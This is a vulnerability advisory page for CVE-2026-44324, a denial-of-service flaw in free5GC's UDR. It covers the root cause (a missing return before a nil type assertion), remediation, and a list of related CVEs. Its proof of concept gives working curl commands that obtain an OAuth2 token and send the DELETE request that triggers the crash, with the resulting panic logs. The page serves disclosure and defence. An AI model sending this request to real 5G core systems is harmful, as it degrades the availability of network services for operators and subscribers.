Skip to main content

free5GC UDR CVE-2026-44324

| EUVDEUVD-2026-32574 MEDIUM
Incorrect Type Conversion or Cast (CWE-704)
2026-05-08 https://github.com/free5gc/free5gc GHSA-jqfc-gwj5-3w63
6.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
6.5 MEDIUM

Network-reachable SBI endpoint requires a low-privilege OAuth2 token (PR:L, AV:N); panic occurs before any data mutation or exposure (C:N/I:N), yielding reliable high availability impact (A:H).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
MEDIUM
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 24, 2026 - 00:15 vuln.today
Analysis Generated
Jul 24, 2026 - 00:15 vuln.today
CVE Published
May 08, 2026 - 22:52 nvd
MEDIUM 6.5

DescriptionGitHub Advisory

Summary

free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler panics on a single authenticated request against a fresh UDR instance when the supplied ueId does not exist in UESubsCollection. The processor checks value, ok := udrSelf.UESubsCollection.Load(ueId) and sets a 404 USER_NOT_FOUND problem-details on the miss path, but execution continues and immediately runs value.(*udr_context.UESubsData) -- a Go type assertion on a nil interface, which panics with interface conversion: interface {} is nil, not *context.UESubsData. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set pd, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.

This endpoint requires a valid nudr-dr OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details

Validated against the UDR container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/udr:v4.2.1
  • Runtime UDR commit: 754d23b0
  • Docker validation date: 2026-03-22
  • UDR endpoint: http://10.100.200.11:8000

Vulnerable handler (the ok miss path sets pd but does not return; the next line type-asserts the nil interface):

go
subsId := c.Params.ByName("subsId")
s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId)

In the processor:

go
value, ok := udrSelf.UESubsCollection.Load(ueId)
if !ok {
    pd = util.ProblemDetailsNotFound("USER_NOT_FOUND")
}

UESubsData := value.(*udr_context.UESubsData)   // panics: nil interface

When ueId is absent from UESubsCollection, value is the nil interface{} returned by sync.Map.Load, and value.(*udr_context.UESubsData) panics with:

panic: interface conversion: interface {} is nil, not *context.UESubsData

Code evidence (paths in free5gc/udr):

  • Route exposure + handler dispatch:
  • NFs/udr/internal/sbi/api_datarepository.go:2161
  • NFs/udr/internal/sbi/api_datarepository.go:2170
  • NFs/udr/internal/sbi/api_datarepository.go:2172
  • Panic root cause (nil interface type assertion):
  • NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53
  • NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56
  • NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61

PoC

Reproduced end-to-end against the running UDR at http://10.100.200.11:8000 -- single authenticated request, no preconditions.

  1. Restart UDR (clean state -- proves no precondition is needed):
docker restart udr
  1. Obtain a valid nudr-dr token from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr'
  1. Trigger the panic with one DELETE for a nonexistent ueId=x:
curl -i -sS -X DELETE \
  'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \
  -H 'Authorization: Bearer <valid_nudr_dr_jwt>'
HTTP/1.1 500 Internal Server Error
Content-Length: 0
  1. UDR container logs (docker logs udr) confirm the nil-interface conversion panic at event_amf_subscription_info_document.go:61 inside RemoveAmfSubscriptionsInfoProcedure:
[ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData
github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure
    .../event_amf_subscription_info_document.go:61
github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo
    .../api_datarepository.go:2172
[INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions |

Impact

Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a 404 problem-details value but does not return, then runs a Go type assertion on the nil interface returned by sync.Map.Load.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can:

  • Trigger a reliable, single-request panic on the amf-subscriptions delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919).
  • Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 USER_NOT_FOUND response would have.

No Confidentiality impact (the response is 500 with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60

AnalysisAI

Authenticated panic-DoS in free5GC v4.2.1's UDR data-repository DELETE handler allows any network attacker holding a valid nudr-dr OAuth2 token to crash the endpoint repeatedly with a single request targeting a non-existent ueId. The nil-interface type assertion fires before any state mutation, producing an HTTP 500 on every trigger while Gin recovery keeps the process alive - making the panic indefinitely repeatable. A full end-to-end PoC is published in GHSA-jqfc-gwj5-3w63; no CISA KEV listing exists and EPSS is 0.06% (18th percentile), consistent with the niche 5G core deployment footprint.

Technical ContextAI

free5GC is an open-source 5G standalone core network implementation in Go. The UDR (Unified Data Repository) exposes subscription management endpoints over the nudr-dr SBI (Service-Based Interface) via a Gin HTTP server. In RemoveAmfSubscriptionsInfoProcedure (event_amf_subscription_info_document.go:61), the handler calls udrSelf.UESubsCollection.Load(ueId) - a sync.Map lookup - which returns a nil interface{} when the ueId is absent. The miss-path sets a 404 problem-details struct (pd = util.ProblemDetailsNotFound("USER_NOT_FOUND")) but omits a return statement, so execution falls through to value.(*udr_context.UESubsData): a Go type assertion on a nil interface. This is classified as CWE-704 (Incorrect Type Conversion or Cast), compounded by CWE-754 (Improper Check for Unusual or Exceptional Conditions) - the missing early return. Gin's panic-recovery middleware converts the runtime panic to HTTP 500, preventing process termination but leaving the endpoint indefinitely panicable. Affected Go module: pkg:go/github.com_free5gc_udr versions below 1.4.3.

RemediationAI

Upgrade the UDR module to github.com/free5gc/udr v1.4.3 or the free5GC suite v4.2.2 or later. The upstream fix is available at https://github.com/free5gc/udr/pull/60 and was committed at 8a1d3c63be99d378806d771f086ff32f1867da99; the patch adds an explicit return after setting the 404 problem-details response, preventing execution from reaching the nil type assertion. For operators who cannot immediately upgrade, restrict network access to the nudr-dr SBI endpoint (default port 8000) to trusted NF hosts only via firewall or Kubernetes NetworkPolicy - this does not eliminate the bug but reduces who can obtain and use a valid nudr-dr OAuth2 token; note that over-restricting this interface will disrupt legitimate 5G core subscription operations. Revoking broad NRF client registration permissions to limit token issuance is an additional compensating control, though it may impact inter-NF communication.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-44324 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy